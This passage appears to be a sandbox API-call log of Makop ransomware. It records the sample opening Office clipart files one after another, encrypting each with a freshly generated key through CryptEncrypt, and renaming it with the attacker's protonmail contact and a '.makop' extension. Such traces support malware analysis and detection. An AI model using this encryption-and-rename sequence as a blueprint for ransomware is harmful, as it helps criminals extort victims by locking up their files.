hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.760] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.760] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5fec, lpOverlapped=0x0) returned 1 [0152.762] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ff0) returned 1 [0152.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5ff0, lpOverlapped=0x0) returned 1 [0152.763] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.763] SetEndOfFile (hFile=0xf0) returned 1 [0152.770] GetProcessHeap () returned 0x48a0000 [0152.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.771] GetProcessHeap () returned 0x48a0000 [0152.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.771] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.773] CloseHandle (hObject=0xf0) returned 1 [0152.773] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0152.773] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF") returned 63 [0152.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.774] GetProcessHeap () returned 0x48a0000 [0152.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0152.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.779] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.779] GetProcessHeap () returned 0x48a0000 [0152.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.779] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.779] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.779] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.781] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7f4e, lpOverlapped=0x0) returned 1 [0152.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f50, dwBufLen=0x7f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f50) returned 1 [0152.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f50, lpOverlapped=0x0) returned 1 [0152.784] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.784] SetEndOfFile (hFile=0xf0) returned 1 [0152.792] GetProcessHeap () returned 0x48a0000 [0152.792] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.792] GetProcessHeap () returned 0x48a0000 [0152.792] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.792] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.794] CloseHandle (hObject=0xf0) returned 1 [0152.794] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0152.794] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF") returned 63 [0152.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.795] GetProcessHeap () returned 0x48a0000 [0152.795] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.795] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.800] GetProcessHeap () returned 0x48a0000 [0152.800] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.800] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.800] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.801] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x430c, lpOverlapped=0x0) returned 1 [0152.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4310, dwBufLen=0x4310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4310) returned 1 [0152.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4310, lpOverlapped=0x0) returned 1 [0152.804] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x43e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.804] SetEndOfFile (hFile=0xf0) returned 1 [0152.811] GetProcessHeap () returned 0x48a0000 [0152.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.811] GetProcessHeap () returned 0x48a0000 [0152.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.811] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.821] CloseHandle (hObject=0xf0) returned 1 [0152.821] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0152.821] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF") returned 63 [0152.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.824] GetProcessHeap () returned 0x48a0000 [0152.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.824] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.824] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.824] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.824] GetProcessHeap () returned 0x48a0000 [0152.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.824] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.825] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.825] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.830] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.830] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b70, lpOverlapped=0x0) returned 1 [0152.832] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b70, dwBufLen=0x5b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b70) returned 1 [0152.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b70, lpOverlapped=0x0) returned 1 [0152.833] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.833] SetEndOfFile (hFile=0xf0) returned 1 [0152.840] GetProcessHeap () returned 0x48a0000 [0152.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.840] GetProcessHeap () returned 0x48a0000 [0152.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.840] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.842] CloseHandle (hObject=0xf0) returned 1 [0152.842] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0152.842] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF") returned 63 [0152.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.845] GetProcessHeap () returned 0x48a0000 [0152.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.845] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.850] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.850] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.850] GetProcessHeap () returned 0x48a0000 [0152.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 